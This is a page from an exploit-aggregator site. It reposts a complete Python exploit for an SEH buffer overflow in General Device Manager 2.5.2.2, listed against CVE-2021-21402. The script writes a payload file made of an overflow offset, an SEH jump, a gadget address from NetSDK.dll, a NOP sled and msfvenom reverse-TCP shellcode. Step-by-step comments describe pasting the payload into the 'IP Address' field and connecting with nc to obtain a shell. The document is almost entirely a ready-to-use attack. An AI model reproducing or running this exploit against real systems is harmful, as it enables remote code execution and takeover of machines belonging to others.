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General Device Manager 2.5.2.2 Buffer Overflow

CVE Category Price Severity
CVE-2021-21402 CWE-119: Buffer Errors $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2023-08-02
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023080011

Below is a copy:

General Device Manager 2.5.2.2 Buffer Overflow
# Exploit Title: General Device Manager 2.5.2.2 - Buffer Overflow (SEH)
# Date: 30.07.2023
# Software Link: https://download.xm030.cn/d/MDAwMDA2NTQ=
# Software Link 2:
https://www.maxiguvenlik.com/uploads/importfiles/General_DeviceManager.zip
# Exploit Author: Ahmet mit BAYRAM
# Tested Version: 2.5.2.2
# Tested on: Windows 10 64bit

# 1.- Run python code : exploit.py
# 2.- Open pwned.txt and copy all content to clipboard
# 3.- Open Device Manage and press Add Device
# 4.- Paste the content of pwned.txt into the 'IP Address'
# 5.- Click 'OK'
# 6.- nc.exe local IP Port 1337 and you will have a bind shell
# 7.- R.I.P. Condor <3

import struct

offset = b"A" * 1308

nseh = b"\xEB\x06\x90\x90" # jmp short

seh = struct.pack('<I', 0x10081827) # 0x10081827 : pop ebx # pop esi # ret  | ascii {PAGE_EXECUTE_READ} [NetSDK.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.0.8.66 (C:\Program Files (x86)\DeviceManage\NetSDK.dll)


nops = b"\x90" * 32 

#shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1  LPORT=1337 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -f python --var-name shellcode

shellcode =  b""
shellcode += b"\xd9\xc6\xbb\xae\xc7\xed\x8e\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xea\xfc\x31\x5a\x13"
shellcode += b"\x03\xf4\xd4\x0f\x7b\xf4\x33\x4d\x84\x04\xc4"
shellcode += b"\x32\x0c\xe1\xf5\x72\x6a\x62\xa5\x42\xf8\x26"
shellcode += b"\x4a\x28\xac\xd2\xd9\x5c\x79\xd5\x6a\xea\x5f"
shellcode += b"\xd8\x6b\x47\xa3\x7b\xe8\x9a\xf0\x5b\xd1\x54"
shellcode += b"\x05\x9a\x16\x88\xe4\xce\xcf\xc6\x5b\xfe\x64"
shellcode += b"\x92\x67\x75\x36\x32\xe0\x6a\x8f\x35\xc1\x3d"
shellcode += b"\x9b\x6f\xc1\xbc\x48\x04\x48\xa6\x8d\x21\x02"
shellcode += b"\x5d\x65\xdd\x95\xb7\xb7\x1e\x39\xf6\x77\xed"
shellcode += b"\x43\x3f\xbf\x0e\x36\x49\xc3\xb3\x41\x8e\xb9"
shellcode += b"\x6f\xc7\x14\x19\xfb\x7f\xf0\x9b\x28\x19\x73"
shellcode += b"\x97\x85\x6d\xdb\xb4\x18\xa1\x50\xc0\x91\x44"
shellcode += b"\xb6\x40\xe1\x62\x12\x08\xb1\x0b\x03\xf4\x14"
shellcode += b"\x33\x53\x57\xc8\x91\x18\x7a\x1d\xa8\x43\x13"
shellcode += b"\xd2\x81\x7b\xe3\x7c\x91\x08\xd1\x23\x09\x86"
shellcode += b"\x59\xab\x97\x51\x9d\x86\x60\xcd\x60\x29\x91"
shellcode += b"\xc4\xa6\x7d\xc1\x7e\x0e\xfe\x8a\x7e\xaf\x2b"
shellcode += b"\x1c\x2e\x1f\x84\xdd\x9e\xdf\x74\xb6\xf4\xef"
shellcode += b"\xab\xa6\xf7\x25\xc4\x4d\x02\xae\x94\x91\x0c"
shellcode += b"\x2f\x03\x90\x0c\x2a\xea\x1d\xea\x5e\x1c\x48"
shellcode += b"\xa5\xf6\x85\xd1\x3d\x66\x49\xcc\x38\xa8\xc1"
shellcode += b"\xe3\xbd\x67\x22\x89\xad\x10\xc2\xc4\x8f\xb7"
shellcode += b"\xdd\xf2\xa7\x54\x4f\x99\x37\x12\x6c\x36\x60"
shellcode += b"\x73\x42\x4f\xe4\x69\xfd\xf9\x1a\x70\x9b\xc2"
shellcode += b"\x9e\xaf\x58\xcc\x1f\x3d\xe4\xea\x0f\xfb\xe5"
shellcode += b"\xb6\x7b\x53\xb0\x60\xd5\x15\x6a\xc3\x8f\xcf"
shellcode += b"\xc1\x8d\x47\x89\x29\x0e\x11\x96\x67\xf8\xfd"
shellcode += b"\x27\xde\xbd\x02\x87\xb6\x49\x7b\xf5\x26\xb5"
shellcode += b"\x56\xbd\x47\x54\x72\xc8\xef\xc1\x17\x71\x72"
shellcode += b"\xf2\xc2\xb6\x8b\x71\xe6\x46\x68\x69\x83\x43"
shellcode += b"\x34\x2d\x78\x3e\x25\xd8\x7e\xed\x46\xc9"


final_payload = offset + nseh + seh + nops + shellcode

# write the final payload to a file
try:
    with open('pwned.txt', 'wb') as f:
        print("[+] Creating %s bytes evil payload..." %len(final_payload))
        f.write(final_payload)
        f.close()
        print("[+] File created!")
except:
    print("File cannot be created!")
            

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